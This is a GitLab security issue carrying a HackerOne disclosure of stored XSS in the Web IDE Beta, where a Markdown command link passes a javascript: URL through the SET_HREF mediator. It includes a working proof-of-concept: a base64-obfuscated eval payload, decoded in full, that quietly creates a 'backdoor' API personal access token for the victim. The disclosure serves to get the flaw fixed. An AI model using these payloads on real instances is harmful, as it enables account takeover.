Stored XSS in Web IDE Beta via crafted URL executing SET_HREF mediator command with user-controlled href attribute
:warning: **Please read [the process](https://gitlab.com/gitlab-org/release/docs/-/blob/master/general/security/developer.md) on how to fix security issues before starting to work on the issue. Vulnerabilities must be fixed in a security mirror.** **[HackerOne report #1940598](https://hackerone.com/reports/1940598)** by `viridian_40826d` on 2023-04-10, assigned to @greg: [Report](#report) | [Attachments](#attachments) | [How To Reproduce](#how-to-reproduce) ## Report #### Summary Since [v15.7](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/95169), GitLab ships with a new [Web IDE](https://docs.gitlab.com/ee/user/project/web_ide_beta/index.html) powered by the [Monaco](https://github.com/microsoft/monaco-editor) editor. The Web IDE is [architected](https://gitlab.com/gitlab-org/gitlab-web-ide/-/blob/77e6cd26c9f6b2694290b9800f9cc0c2b328e1bd/docs/dev/architecture_packages.md) such that certain interactions take place outside of the sandboxed Monaco runtime environment. These interactions are handled by the `vscode-mediator-commands` package: > The vscode-mediator-commands package creates a set of commands that can be **triggered** from the VSCode Extension runtime environment but are **executed** in the Iframe runtime environment. This means that web requests naturally use the Main cookie and the command can have full access to the provided configuration. One such mediator command is `SET_HREF`, which [constructs](https://gitlab.com/gitlab-org/gitlab-web-ide/-/blob/42428717ac4793969ad83c8feaa67440b36b1a96/packages/vscode-mediator-commands/src/commands/index.ts#L115-120) a URL object by concatenating the value of `window.parent.location.href` with the `href` string attribute: ```javascript const parentHref = window.parent.location.href; const newUrl = new URL(href, parentHref); window.parent.location.href = newUrl.href; ``` By default, the UI calls the `SET_HREF` command referencing an enum of trusted links to the preferences and feedback pages so that these can be opened in a new tab, outside of the sandbox: ![GitLab_WebIDE_Mediator.png](https://h1.sec.gitlab.net/a/b090b6f5-ca4e-4101-8009-cf9f0b9cf15c/GitLab_WebIDE_Mediator.png) However, the `href` attribute can become user-controlled when a mediator command URL is formed in Markdown. We can then clobber the `parentHref` by introducing our own URL in `href` with an explicitly defined scheme, like so: ```markdown <!-- Opens the result of: new URL("javascript:confirm(document.domain)", "https://gitlab") --> [Execute command](command:gitlab-web-ide.mediator.set-href?["javascript:confirm%28document.domain%29"]) ``` While the subframe used to _preview_ Markdown is itself sandboxed, the editor frame and its interactions with the mediator are not. Since the Web IDE supports Monaco's "follow link" behaviour, an attacker can execute arbitrary JavaScript in a victim's GitLab session when they Ctrl/Cmd-click a crafted link in a Markdown file: ![GitLab_WebIDE_XSS.png](https://h1.sec.gitlab.net/a/dbb6230e-4d9b-4530-8e7a-6c95c07ccf4a/GitLab_WebIDE_XSS.png) #### Environment Self-managed GitLab CE and EE instances where a strict CSP is not enforced are affected by this vulnerability. `gitlab-rake gitlab:env:info` output: ```bash System information System: Ubuntu 20.04 Proxy: no Current User: git Using RVM: no Ruby Version: 3.0.5p211 Gem Version: 3.2.33 Bundler Version:2.3.15 Rake Version: 13.0.6 Redis Version: 6.2.11 Sidekiq Version:6.5.7 GitLab information Version: 15.10.2-ee Revision: a54d6973eae Directory: /opt/gitlab/embedded/service/gitlab-rails DB Adapter: PostgreSQL DB Version: 13.8 Elasticsearch: no Geo: no Using LDAP: no Using Omniauth: yes Omniauth Providers: GitLab Shell Version: 14.18.0 Repository storages: - default: unix:/var/opt/gitlab/gitaly/gitaly.socket GitLab Shell path: /opt/gitlab/embedded/service/gitlab-shell ``` #### Steps to Reproduce 1. Bring up an instance of GitLab EE (herein `https://gitlab`) following the [installation instructions](https://about.gitlab.com/install/#ubuntu). 2. Enable the `vscode_web_ide` [feature flag](https://docs.gitlab.com/ee/administration/feature_flags.html) by running `gitlab-rails console` followed by `Feature.enable(:vscode_web_ide)` once inside the IRB shell. (**Please note**: per the [documentation](https://docs.gitlab.com/ee/user/project/web_ide_beta/index.html), the new Web IDE will be enabled by default in v15.11 which releases in 12 days' time and so enabling this feature flag will soon no longer be required). 3. Create a new project from [https://gitlab/projects/new#blank_project](https://gitlab/projects/new#blank_project) and commit a README.md file containing the following proof of concept link, whose decoded JavaScript is included at the end of this section under "PoC Code": ```markdown [Execute command](command:gitlab-web-ide.mediator.set-href?["javascript:eval%28atob%28'dmFyIHRvayxwPW5ldyBET01QYXJzZXIsbz13aW5kb3cubG9jYXRpb24ub3JpZ2luO2ZldGNoKG8rIi8tL3Byb2ZpbGUvcGVyc29uYWxfYWNjZXNzX3Rva2VucyIpLnRoZW4oKGZ1bmN0aW9uKGUpe3JldHVybiBlLm9rP2UudGV4dCgpOlByb21pc2UucmVqZWN0KGUpfSkpLnRoZW4oKGZ1bmN0aW9uKGUpe3JldHVybiB0b2s9cC5wYXJzZUZyb21TdHJpbmcoZSwidGV4dC9odG1sIikuZ2V0RWxlbWVudHNCeU5hbWUoImNzcmYtdG9rZW4iKVswXS5jb250ZW50LGZldGNoKG8rIi8tL3Byb2ZpbGUvcGVyc29uYWxfYWNjZXNzX3Rva2VucyIse2NyZWRlbnRpYWxzOiJpbmNsdWRlIixoZWFkZXJzOnsiQ29udGVudC1UeXBlIjoiYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkIixtZXRob2Q6IlBPU1QifSxib2R5OmBhdXRoZW50aWNpdHlfdG9rZW49JHtlbmNvZGVVUklDb21wb25lbnQodG9rKX0mcGVyc29uYWxfYWNjZXNzX3Rva2VuW25hbWVdPWJhY2tkb29yJnBlcnNvbmFsX2FjY2Vzc190b2tlbltleHBpcmVzX2F0XT0mcGVyc29uYWxfYWNjZXNzX3Rva2VuW3Njb3Blc11bXT1hcGlgLG1ldGhvZDoiUE9TVCIsbW9kZToiY29ycyJ9KX0pKS50aGVuKChmdW5jdGlvbihlKXtyZXR1cm4gZS5vaz9lLmpzb24oKTpQcm9taXNlLnJlamVjdChlKX0pKS50aGVuKChmdW5jdGlvbihlKXthbGVydChgQ3JlYXRlZCBwZXJzb25hbCBhY2Nlc3MgdG9rZW46ICR7ZS5uZXdfdG9rZW59YCl9KSk7'%29%29"]) ``` 4. Open the README.md file in the Web IDE (https://gitlab/-/ide/project/demo/edit/main/-/README.md) and Ctrl/Cmd-click on the "Execute command" link. 5. Observe the JavaScript alert dialog containing a newly minted personal access token for the logged-in user. ##### PoC Code ```javascript var tok,p=new DOMParser,o=window.location.origin;fetch(o+"/-/profile/personal_access_tokens").then((function(e){return e.ok?e.text():Promise.reject(e)})).then((function(e){return tok=p.parseFromString(e,"text/html").getElementsByName("csrf-token")[0].content,fetch(o+"/-/profile/personal_access_tokens",{credentials:"include",headers:{"Content-Type":"application/x-www-form-urlencoded",method:"POST"},body:`authenticity_token=${encodeURIComponent(tok)}&personal_access_token[name]=backdoor&personal_access_token[expires_at]=&personal_access_token[scopes][]=api`,method:"POST",mode:"cors"})})).then((function(e){return e.ok?e.json():Promise.reject(e)})).then((function(e){alert(`Created personal access token: ${e.new_token}`)})); ``` #### Impact An attacker who convinces a victim to interact with a Markdown link in the new Web IDE can execute JavaScript in that victim's GitLab session allowing them to perform unwanted actions on their behalf and take over their account. ## Attachments **Warning:** Attachments received through HackerOne, please exercise caution! * [GitLab_WebIDE_XSS.png](https://h1.sec.gitlab.net/a/dbb6230e-4d9b-4530-8e7a-6c95c07ccf4a/GitLab_WebIDE_XSS.png) * [GitLab_WebIDE_Mediator.png](https://h1.sec.gitlab.net/a/b090b6f5-ca4e-4101-8009-cf9f0b9cf15c/GitLab_WebIDE_Mediator.png) ## How To Reproduce Please add [reproducibility information] to this section: 1. 1. 1. [reproducibility information]: https://about.gitlab.com/handbook/engineering/security/#reproducibility-on-security-issues
issue